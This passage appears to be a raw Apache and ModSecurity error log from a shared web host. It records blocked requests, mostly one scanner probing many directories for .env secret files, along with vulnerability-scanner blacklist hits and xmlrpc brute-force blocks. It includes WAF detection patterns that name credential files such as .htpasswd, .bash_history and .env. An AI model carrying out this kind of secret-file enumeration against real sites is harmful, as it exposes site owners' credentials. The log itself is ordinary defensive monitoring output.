57.141.14.100:38591] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 100.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zRNyTkdrNlD40tSG0ZAAAVhY"], referer: https://nelsonfarmstn.com/product/king-of-kings/?add_to_wishlist=379&_wpnonce=8d149de2a5&add-to-cart=1259 [Sat Jun 13 18:18:12.218459 2026] [security2:error] [pid 646876:tid 647034] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/samples/chatroom/chatroom-spa/.env"] [unique_id "ai3zRNyTkdrNlD40tSG0aAAAABo"] [Sat Jun 13 18:18:12.238435 2026] [security2:error] [pid 646876:tid 646905] [remote 17.22.245.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zRNyTkdrNlD40tSG0agAACBo"] [Sat Jun 13 18:18:12.351217 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:18:12.351475 2026] [access_compat:error] [pid 646876:tid 646884] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvZGV2aWNlL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ng== [Sat Jun 13 18:18:12.355634 2026] [security2:error] [pid 646876:tid 647026] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/samples/docker/deploymentscripts/.env"] [unique_id "ai3zRNyTkdrNlD40tSG0bQAAABI"] [Sat Jun 13 18:18:12.401079 2026] [security2:error] [pid 648189:tid 648302] [remote 31.125.21.239:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zRFWSojQL4F7upKBsVwAAjVA"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:12.401114 2026] [security2:error] [pid 648189:tid 648302] [remote 31.125.21.239:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zRFWSojQL4F7upKBsVwAAjVA"], referer: https://www.torquayfans.com [Sat Jun 13 18:18:12.478687 2026] [security2:error] [pid 648189:tid 648428] [client 210.217.96.217:50983] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zRFWSojQL4F7upKBsWwAAAM8"] [Sat Jun 13 18:18:12.478830 2026] [security2:error] [pid 648189:tid 648428] [client 210.217.96.217:50983] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zRFWSojQL4F7upKBsWwAAAM8"] [Sat Jun 13 18:18:12.592742 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.106:51611] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:12.593184 2026] [access_compat:error] [pid 646876:tid 646982] [remote 57.141.14.106:51611] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:12.641011 2026] [security2:error] [pid 646876:tid 647049] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/script/.env"] [unique_id "ai3zRNyTkdrNlD40tSG0dAAAACk"] [Sat Jun 13 18:18:12.779872 2026] [security2:error] [pid 646876:tid 647133] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/scripts/.env"] [unique_id "ai3zRNyTkdrNlD40tSG0dQAAAH0"] [Sat Jun 13 18:18:12.857278 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:18:12.857554 2026] [access_compat:error] [pid 646876:tid 646994] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9tb3VzZTAvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:18:12.870767 2026] [access_compat:error] [pid 648189:tid 648308] [remote 57.141.14.85:47802] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:12.871047 2026] [access_compat:error] [pid 648189:tid 648308] [remote 57.141.14.85:47802] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:12.898446 2026] [security2:error] [pid 648189:tid 648275] [remote 17.241.227.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zRFWSojQL4F7upKBsaQAAjjU"] [Sat Jun 13 18:18:12.922280 2026] [security2:error] [pid 646876:tid 647053] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/scripts/fvt/.env"] [unique_id "ai3zRNyTkdrNlD40tSG0dwAAAC0"] [Sat Jun 13 18:18:13.135731 2026] [security2:error] [pid 648189:tid 648286] [remote 17.22.237.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zRVWSojQL4F7upKBseQAA30A"] [Sat Jun 13 18:18:13.231707 2026] [security2:error] [pid 648189:tid 648294] [remote 88.151.32.61:57642] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "mail.lthssolar.com"] [uri "/config.json"] [unique_id "ai3zRVWSojQL4F7upKBsgAAApUg"] [Sat Jun 13 18:18:13.269163 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.108:61479] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:13.269658 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.108:61479] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:13.338891 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.16:59856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:13.339298 2026] [access_compat:error] [pid 646876:tid 646980] [remote 57.141.14.16:59856] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:13.354431 2026] [security2:error] [pid 646876:tid 647020] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/secrets/.env"] [unique_id "ai3zRdyTkdrNlD40tSG0gAAAAAw"] [Sat Jun 13 18:18:13.411435 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:18:13.411905 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:18:13.492068 2026] [security2:error] [pid 646876:tid 647014] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/selfish-darling-backend/.env"] [unique_id "ai3zRdyTkdrNlD40tSG0gwAAAAY"] [Sat Jun 13 18:18:13.771395 2026] [security2:error] [pid 648189:tid 648411] [client 216.73.216.11:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 11.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/date/tests/bug35887.phpt"] [unique_id "ai3zRVWSojQL4F7upKBsqgAAAL4"] [Sat Jun 13 18:18:13.779271 2026] [security2:error] [pid 646876:tid 647102] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/serve-browserbench/.env"] [unique_id "ai3zRdyTkdrNlD40tSG0jAAAAF4"] [Sat Jun 13 18:18:13.881021 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.7:26235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:13.881422 2026] [access_compat:error] [pid 646876:tid 646997] [remote 57.141.14.7:26235] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:13.923021 2026] [security2:error] [pid 646876:tid 647120] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Serve_time_server/.env"] [unique_id "ai3zRdyTkdrNlD40tSG0jwAAAHA"] [Sat Jun 13 18:18:13.968614 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:18:13.969067 2026] [access_compat:error] [pid 646876:tid 646894] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L2RldmljZQ== [Sat Jun 13 18:18:14.063188 2026] [security2:error] [pid 646876:tid 647008] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Match of "ipMatch 127.0.0.1,::1" against "REMOTE_ADDR" required. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "724"] [id "340114"] [rev "2"] [msg "Atomicorp.com WAF Rules: Apache admin service access attempt"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/server-status"] [unique_id "ai3zRtyTkdrNlD40tSG0kwAAAAA"] [Sat Jun 13 18:18:14.191528 2026] [access_compat:error] [pid 648189:tid 648304] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:14.191824 2026] [access_compat:error] [pid 648189:tid 648304] [remote 216.73.216.223:32826] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:14.244947 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.15:60837] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:18:14.245371 2026] [access_compat:error] [pid 646876:tid 646882] [remote 57.141.14.15:60837] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:18:14.259906 2026] [core:error] [pid 648189:tid 648430] [client 47.79.200.201:51242] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:18:14.259926 2026] [core:error] [pid 648189:tid 648430] [client 47.79.200.201:51242] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace., referer: https://www.google.com/ [Sat Jun 13 18:18:14.349617 2026] [security2:error] [pid 646876:tid 647098] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/server/config/.env"] [unique_id "ai3zRtyTkdrNlD40tSG0mAAAAFo"] [Sat Jun 13 18:18:14.486599 2026] [security2:error] [pid 646876:tid 647074] [client 185.177.72.9:31146] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/server/laravel/.env"] [unique_id "ai3zRtyTkdrNlD40tSG0nAAAAEI"] [Sat Jun 13 18:18:14.489715 2026] [access_compat:error] [pid 646876:tid 646972] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 